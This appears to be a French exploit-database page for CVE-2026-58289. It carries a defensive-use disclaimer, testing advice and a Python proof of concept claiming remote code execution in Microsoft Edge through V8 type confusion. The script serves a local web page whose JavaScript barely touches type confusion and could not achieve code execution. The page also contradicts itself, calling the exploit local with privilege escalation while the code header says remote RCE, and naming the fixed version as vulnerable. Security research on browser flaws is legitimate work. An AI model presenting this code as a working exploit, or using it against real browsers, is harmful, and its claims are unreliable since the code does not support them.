Exploit matérialisé

CVE-2026-58289

CRITICAL

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

ExploitDB local multiple

Source

Microsoft Edge 150.0.4078.48 - RCE

Par banyamer

Comment tester cet exploit

Exploit local. Exécutez sur une installation vulnérable en VM jetable et vérifiez l'élévation de privilèges.

Code py`

# Exploit Title:        Microsoft Edge  150.0.4078.48 - RCE
# CVE:                  CVE-2026-58289
# Date:                 2026-07-10
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://microsoft.com
# Software Link:        https://www.microsoft.com/en-us/edge
# Affected:             Microsoft Edge (Chromium-based) before 150.0.4078.48
# Tested on:            Microsoft Edge 150.0.4070.x (Windows 11)
# Category:             Remote
# Platform:             Windows
# Exploit Type:         Remote Code Execution
# CVSS:                 9.0 (Critical)
# Description:          Access of Resource Using Incompatible Type ('Type Confusion' - CWE-843) in Microsoft Edge (Chromium-based) V8 engine allows an unauthorized attacker to execute arbitrary code over a network by visiting a malicious webpage.
# Fixed in:             Microsoft Edge 150.0.4078.48 (Stable Channel)
# Usage:
#   python3 exploit.py
#
# Examples:
#   python3 exploit.py
#
# Options:
#   --port     Custom port (default: 8080)
#
# Notes:
#   • This is a Proof of Concept only. No public full exploit is available yet.
#   • For educational and research purposes.
#   • Requires vulnerable version of Microsoft Edge.
#
# How to Use
#
# Step 1:
#   Run the Python server: python3 exploit.py
#
# Step 2:
#   Open http://localhost:8080 in a vulnerable version of Microsoft Edge.
#
# Step 3:
#   Monitor the browser process for crashes or code execution.

def banner():
    print(r"""
╔██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗
║██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║
╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝
        ╔═╗ Banyamer Security ╔═╝
""")

import http.server
import socketserver
import sys

banner()

HTML_CONTENT = """<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-58289 PoC</title>
</head>
<body>
    <h1>CVE-2026-58289 Type Confusion PoC - For Testing Only</h1>
    <script>
        function triggerTypeConfusion() {
            let obj1 = { a: 1, b: 2 };
            for (let i = 0; i < 10000; i++) {
                dummyFunc(obj1);
            }
            let arr = new Array(0x100);
            let confused = obj1;
            confused.something = 0x41414141;
            console.log("[+] Type confusion attempted.");
        }
        function dummyFunc(o) {
            return o.a + o.b;
        }
        window.onload = function() {
            try {
                triggerTypeConfusion();
            } catch(e) {
                console.error("Error:", e);
            }
        };
    </script>
</body>
</html>
"""

class Handler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path in ['/poc.html', '/']:
            self.send_response(200)
            self.send_header('Content-type', 'text/html')
            self.end_headers()
            self.wfile.write(HTML_CONTENT.encode())
        else:
            self.send_response(404)
            self.end_headers()

port = 8080
if len(sys.argv) > 1:
    try:
        port = int(sys.argv[1])
    except:
        pass

print(f"[+] Starting PoC server on http://localhost:{port}")
print("[+] Open the URL in vulnerable Microsoft Edge")

try:
    with socketserver.TCPServer(("", port), Handler) as httpd:
        httpd.serve_forever()
except KeyboardInterrupt:
    print("\n[-] Server stopped.")
except Exception as e:
    print(f"[-] Error: {e}")